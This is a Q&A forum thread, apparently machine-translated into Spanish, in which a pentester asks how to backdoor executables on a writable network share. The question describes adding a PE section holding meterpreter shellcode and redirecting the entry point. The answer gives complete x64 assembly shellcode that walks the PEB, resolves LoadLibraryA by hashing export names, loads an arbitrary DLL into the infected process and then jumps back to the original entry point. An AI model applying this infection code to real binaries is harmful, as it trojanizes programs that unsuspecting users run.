backdooring PE static file

3

Durante un pentest, encontré un recurso compartido de red con muchos binarios (.exe) disponibles con derechos RW. El propósito de este recurso compartido es poner a disposición de los usuarios herramientas genéricas. Sin embargo, cualquier usuario autenticado puede editarlos y agregar una carga útil. Quiero proporcionar una demostración para mostrar la viabilidad de esto.

Básicamente, lo que he logrado hasta ahora se reduce a:

1: create a new section in the sections table,
2: add empty bytes at the end of the file, at address and size according to those in the new section definition,
3: put a shellcode at the first byte of the empty section added,
4: change EntryPoint to point to this first byte of the shellcode.

Cuando ejecuto esto, mi carga útil se inicia.

Ahora, me gustaría redirigir el flujo de ejecución al EntryPoint anterior, para ejecutar el programa real. He pensado que un simple jmp al EntryPoint original sería suficiente. De hecho, mi shellcode se ejecuta, pero bloquea la ejecución del proceso (lo cual es totalmente normal).

He pensado en lanzar mi código de shell en un hilo separado. Necesito que esto llegue a la dirección de funciones como createThread. Realmente no tengo idea de cómo hacer esto.

Además, cuando salgo de mi sesión de meterpreter, el shellcode debería ejecutar la última instrucción jmp para llegar a la sección .text original. En su lugar, simplemente termina.

Mi conocimiento sobre ASM y Shellcodeprogramming es un poco bajo: / Realmente agradecería tener algunos consejos sobre el doc. Es posible que haya perdido la realización de esta demostración. Furtivity no será una preocupación ya que la computadora de demostración no tendrá ningún AV. Muchas gracias por ayudar!

    
pregunta chibollo 16.06.2017 - 11:02
fuente

1 respuesta

1

Para hacer casi cualquier cosa aparte de fallar, el ejecutable de su shellcode requerirá el uso de la API de Windows (CreateThread, LoadLibraryA, etc.). Esto se puede lograr mediante la implementación de una función personalizada GetProcAddress.

Para devolver la ejecución al OEP (punto de entrada original) puede usar CreateThread, o "jmp" para la dirección. Para que el código de shell tenga acceso a esta dirección, debe estar codificado en el cuerpo del código.

La primera instrucción en el código de shell a continuación mueve 00000000 a r15. El código de infección de su pe debe sobrescribir los primeros 6 bytes del código de shell con:

mov r15d, [entry_point]

Donde [entry_point] es el OEP RVA.

Escribí una respuesta completa (se eliminó) un código de shell para ti:

mov r15d, 00000000h        ;this is 0x41BF00000000

;align stack
and rsp, 0FFFFFFFFFFFFFFF0h

;code to get the base address of ntdll.dll
mov r8, gs:[60h]                ;PEB
mov r8, [r8+18h]                ;PEB->Ldr (_PEB_LDR_DATA)
lea r8, [r8+10h]                ;_PEB_LDR_DATA->InLoadOrderModuleList (LDR_DATA_TABLE_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)

;save the base address (kernel32)
mov r12, [r8+30h]

;setup loop
mov r8d, dword ptr[r12+3ch]     ;IMAGE_DOS_HEADER->e_lfanew (DWORD) (Offset to IMAGE_NT_HEADERS64)
lea r8, qword ptr[r8+r12+88h]   ;add DllBase to the e_lfanew offset + 88h
                                ;18h - IMAGE_NT_HEADERS64->OptionalHeader (IMAGE_OPTIONAL_HEADER64) 18h bytes
                                ;70h - skip entire IMAGE_OPTIONAL_HEADER64 structure
mov r8d, dword ptr[r8]
add r8, r12

mov r9d, dword ptr[r8d+18h]     ;IMAGE_EXPORT_DIRECTORY->NumberOfNames (DWORD)s

fl:                             ;function loop
    dec r9                      ;start at end of array
    mov r10d, dword ptr[r8+20h] ;IMAGE_EXPORT_DIRECTORY->AddressOfNames (DWORD)
    add r10, r12                ;add dll base
    lea rcx, [r10+4*r9]         ;AddressOfNames[i] - function string RVA (relative virtual address)
    mov ecx, [rcx]
    add rcx, r12                ;add dll base

    ;hash the funtion name

    mov rax, 5381d
    hl:                         ;hash loop
        mov rbx, rax
        shl rax, 5
        add rax, rbx
        xor al, [rcx]
        inc rcx
        ;check for null termination
        cmp byte ptr[rcx], 00h
    jne hl
    ;hash complete
    mov rbx, 00b9a3b50901ed9addh ;LoadLibraryA
    cmp rax, rbx
jne fl

xor rax, rax                    ;make this more efficient (lol not gonna happen)
mov r10d, dword ptr[r8+24h]     ;IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals (DWORD)
add r10, r12                    ;you know this by know right?
mov ax, word ptr[r10+2*r9]      ;AddressOfNameOrdinals[2*r9] - (2*r9 = 2 bytes * function name counter) + AddressOfNameOrdinals (WORD)

mov r10d, dword ptr[r8+1ch]
add r10, r12
mov eax, dword ptr[r10+rax*4]   ;AddressOfFunctions[4*r9] - (4*r9 = 4 bytes * function ordinal) + AddressOfFunctions (DWORD)
add rax, r12

lea rcx, [dll_name]
sub rsp, 20h
call rax
add rsp, 20h

;jump to the OEP
jmp r15

dll_name db "dingbong.dll", 0

Desglose:

  1. El código de shell accede al registro gs para recuperar un puntero del Bloque de entorno de proceso (PEB)
  2. El PEB se usa para encontrar la dirección base de kernel32.dll
  3. Cada nombre de la función exportada de kernel32.dll tiene un hash y se compara con un "LoadLibraryA" pre-hashed.
  4. La dirección de la función LoadLibraryA se recupera al analizar la tabla de exportación
  5. "dingbong.dll" se carga con el proceso infectado

Enlaces útiles:

enlace - exportar tabla

enlace - formato pe

    
respondido por el Will 19.06.2017 - 22:36
fuente

Lea otras preguntas en las etiquetas